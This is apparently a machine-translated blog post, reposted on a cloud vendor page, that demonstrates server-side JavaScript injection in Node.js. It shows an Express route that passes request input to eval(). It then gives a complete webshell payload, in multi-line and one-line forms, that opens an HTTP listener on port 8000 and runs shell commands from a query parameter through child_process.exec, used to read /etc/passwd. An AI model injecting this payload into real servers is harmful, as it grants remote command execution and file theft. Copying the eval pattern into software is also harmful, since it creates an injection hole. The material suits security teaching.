Node. js server JS injection demonstration

Source: Internet
Author: User

Node. js server JS injection demonstration

I recently started to focus on the real-world Node. js app security interest, I found a method of attack, I named it "server JS injection", I found a Node in CVE-2014-7205. the javascript Basmaster plug-in allows arbitrary js injection.

I wrote a simple demo program to pass user input to eval (). I will demonstrate how to inject a simple webshell.

 

The vulnerability code is as follows:

router.post('/demo1', function(req, res) {  var year = eval("year = (" + req.body.year + ")");  var date = new Date();    var futureAge = 2050 - year;    res.render('demo1',    {      title: 'Future Age',      output: futureAge    });});

Through the vulnerability code, we can see that res. write ('ssjs Injection ') can be injected, and the server will return the injected information.

We can inject a piece of webshell code and listen to port 8000.

setTimeout(function() {    require('http').createServer(function(req, res) {        res.writeHead(200, {            "Content-Type": "text/plain"        });        require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e, s, st) {            res.end(s);        });    }).listen(8000);}, 5000)

 

Write a line

setTimeout(function() { require('http').createServer(function (req, res) { res.writeHead(200, {"Content-Type": "text/plain"});require('child_process').exec(require('url').parse(req.url, true).query['cmd'], function(e,s,st) {res.end(s);}); }).listen(8000); }, 5000)

Because we inject it into eval (), webshell cannot write the hard disk, and it will only be executed in an existing node process.

Run cat/etc/passwd using webshell

 

Related Article

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.